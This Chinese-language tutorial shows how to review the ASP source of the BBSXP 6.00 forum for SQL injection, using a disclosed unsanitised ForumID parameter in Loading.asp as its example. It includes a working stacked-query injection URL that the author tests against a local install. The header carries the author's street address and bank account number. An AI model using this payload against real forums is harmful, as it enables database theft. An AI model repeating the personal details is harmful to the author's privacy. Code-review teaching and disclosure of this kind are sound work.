bbsxp漏洞发现过程

作者:firstsee
联系地址:江苏省苏州市新区狮山路268号
招行帐号:9555505121115602
操作系统:windows xp sp2
软件环境:Micromedia Dreamweaver 8.0+IIS 5.0+Sql Server 2000+BBSXP 6.00 SP1 SQL
面向对象:有ASP基础的注入爱好者
出差回来的这几天工作比较轻松,正好抓这段时间把前两天无聊的时候发现的一个BBSXP的漏洞公布出来,顺便给大家介绍一下查找ASP程序漏洞的方法。看到这里的时候你应该会想到NBSI了吧,没错NBSI的确是一个不错的漏洞检测和利用的工具,但是它只能针对那些有规律可循的简单的漏洞,从软件测试的角度来说使用的是黑盒测试方法。而现在我要告诉大家的是使用白盒测试的方法,从源代码中怎样去查找漏洞(安全系数比较高的BUG)。
在开始之前要先选择一个比较顺手的软件工具,我比较喜欢用的是Micromedia Dreamweaver现在最新的版本是8.0。安装完成之后首先第一步就是要在Dreamweaver中建立一个站点,如图1所示。具体方法不是本文讨论的内容,可以参照网上的很多教程。
 
            图一
 
然后还要搭建一个测试的环境,使用与Dreamweaver相同的代码文件在本地建一个论坛站点。只需要简简单单地建一两个版面,发表几个帖子就可以了。不要告诉我这些也不知道,那你就要看一看windows的服务器管理员教程和BBSXP的说明文档了。
下面我要给大家介绍一些相关的理论基础,不要着急,也不要丢我鸡蛋,我只是想让大家摆脱只知其然而不知其所以然的困境而已。好了,现在开始……
由于在ASP中的所有漏洞都是由于没有严格校验从客户端接收的数据而造成的,所谓的数字型、字符型等漏洞只是在SQL查询语句中的使用方法不同而已。而在程序中所有的数据校验和转换的过程都是包含在从数据接收到执行查询语句这个过程之间,因此我们的关注点就要放在获取客户端提交的数据与拼接查询语句之间的数据校验过程之中。
为了简化查找的过程,我们就要从一些关键字入手利用Dreamweaver的搜索功能把可能会存在漏洞的位置查找出来。在ASP中接收客户端数据的方法不外乎使用Request对象,使用方法包括类似于 Request(“ForumID”)、Request.QueryString(“ForumID”)、Request.Form(“ForumID”)、Request.Cookies(“ForumID”)这四种方法。因此只需要搜索Request关键就可以了,搜索结果如图2所示
 
 
文件名称中包含Admin的就不需要再看了,因为我们是不可能在普通用户的情况下访问到这些文件的。双击Bank.asp中的一个搜索结果在编辑窗口中可以看到类似下面代码
qmoney=int(Request("qmoney"))
if qmoney > Rs("UserMoney") then error("<li> 您的现金没有这么多吧! ")
if qmoney<1 then error("<li> 存款不能为零! ")
 
Rs("savemoney")=Rs("savemoney")+qmoney+accrual
Rs("UserMoney")=Rs("UserMoney")-qmoney
Rs("SaveMoneyTime")=now()
Rs.update
Rs.close
在这个过程中使用int方法进行了数据转换,同时使用Recordset字段赋值后保存数据的方法,是不可能会产生漏洞的。实际上这两个方法中只要使用了其中一个也都是无法注入的,因此可以将类似的客户端数据使用方法忽略。
双击Friends.asp文件中的搜索结果可以找到如下代码:
incept=HTMLEncode(Request("incept"))
UserName=HTMLEncode(Request("UserName"))
 
sub add
if UserName="" then error2(" 请输入您要添加的好友名字! ")
 
if UserName=CookieUserName then error2(" 不能添加自己! ")
 
If Conn.Execute("Select id From [BBSXP_Users] where UserName='"&UserName&"'" ).eof Then error2(" 数据库不存在此用户的资料! ")
从查询语句上可以看出:如果UserName变量中如果包含单引号的话将会产生字符型注入漏洞。而在UserName从客户端获取到拼接到查询语句的过程中使用HTMLEncode方法进行了过滤,这个方法实现的逻辑如下面的代码:
function HTMLEncode(fString)
fString=Replace(fString,";","&#59;")
fString=Replace(fString,"<","&lt;")
fString=Replace(fString,">","&gt;")
fString=Replace(fString,"/","&#92;")
fString=Replace(fString,"--","&#45;&#45;")
fString=Replace(fString,CHR(9),"&#9;")
fString=Replace(fString,CHR(10),"<br>")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22),"&#22;")
fString=Replace(fString,CHR(32),"&#32;")
fString=Replace(fString,CHR(34),"&#34;")' 双引号
fString=Replace(fString,CHR(39),"&#39;")' 单引号
fString=ReplaceText(fString,"&#([0-9]*)&#59;","&#$1;") ' 解决韩文字符问题
if IsSqlDataBase=0 then ' 过滤片假名 ( 日文字符 )[/u30A0-/u30FF] by yuzi 首创
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","&#x30$1;")
fString=unescape(fString)
end if
HTMLEncode=fString
end function
我们关注的这个方法中显然已经过滤了单引号,因此也就不会产生字符型注入漏洞了。继续向下看搜索结果的时候,如果看到类似可能会造成字符型漏洞的查询语句中的变量使用HTMLEncode方法过滤,那同样也可以忽略了。
另外还有一些比较普遍的情况类似于如下的代码:
 
select case Request("menu")
case "add"
add
case "bad"
bad
case "Del"
Del
case "Post"
Post
case "look"
look
case "loadLog"
loadLog
case "addPost"
addPost
case ""
index
end select
在这段代码中menu的值没用被用到查询语句中,也就不可能会产生注入漏洞,同样也可以忽略了。
以上这些内容我说了很多什么样的代码不会产生注入漏洞,你一定会急着知道什么样的代码才是我们要查找的目标,什么样代码才会产生漏洞。拿出一点耐心来,通过对上面的这几种情况进行排除之后,在702个搜索结果中所剩的也就是只有十几个了。接下来我就说一说产生漏洞的代码在什么地方。
找到Loading.asp的第一个搜索结果可以看到这段代码:
id=int(Request("id"))
ForumID=HTMLEncode(Request("ForumID"))
 
 
if id="0" then
 
 
if Request("ForumID")="0" then
sql="select * from [BBSXP_UsersOnline] where UserName<>'' and eremite<>1"
else
sql="select * from [BBSXP_UsersOnline] where ForumID="&ForumID&" and UserName<>'' and eremite<>1"
end if
在这段代码中从查询语句看应该是存在出现数字型注入漏洞的可能,而对ForumID却使用HTMLEncode方法进行过滤,也就是说除了单引号等特殊字符以外的字母和常用符号都是可以通过验证的。为了证实这个想法,在这段代码后面加上一句
Response.Write(sql)
用来查看最终运行的查询语句的样子。然后直接访问刚才搭建的论坛使用类似如下的URL:
http://localhost/bbsxp/loading.asp?ForumID=0/**/select/**/username/**/from/**/bbsxp_user/**/select/**/*/**/from/**/bbsxp_usersonline/**/where/**/forumid=0
空白页面上显示出我们所需要的查询语句
select * from [BBSXP_UsersOnline] where ForumID=0/**/select/**/username/**/from/**/bbsxp_user/**/select/**/*/**/from/**/bbsxp_usersonline/**/where/**/forumid=0 and UserName<>'' and eremite<>1
这意味着我们已经成功地通过了过滤,并且已经成功执行了。这样的话就可以把URL中的” select/**/username/**/from/**/bbsxp_user”这句查询修改成任意的不包含特殊字符的SQL查询语句,接下来的该怎么做就不需要我在说了吧@^@。有的时候查询语句不能够像这样直接在界面上显示出来,那可以使用Sql Profile监视一下提交给数据的查询语句。
由于论坛的安全性一般都比较高,所以漏洞查找起来就像是大海捞针一样,只要掌握了一些方法才会在一定程度上简化这个过程。本文中我仅仅给大家说了一个漏洞的发现过程,相对来说还是比较简单的一个,可能是由于bbsxp改版的过程中代码量比较大而没有注意到这些细节的问题吧。在更多的时候每一个从客户端接收的变量都要经过几个方法之间的传递之后才会送到数据库中去,对于这样的情况发现和测试都是比较困难的。不过万变不离其宗,只要你掌握了方法,多尝试几次相信你也可以做得到的。
实际上除了我刚才说的这个漏洞之外还有一个不太显眼的漏洞,你可以尝试着去搜索一下。这个问题就留给大家了,要相信你自己一定会找到的!!!
 
 

你可能感兴趣的:(sql,sql,function,server,测试,asp,Dreamweaver)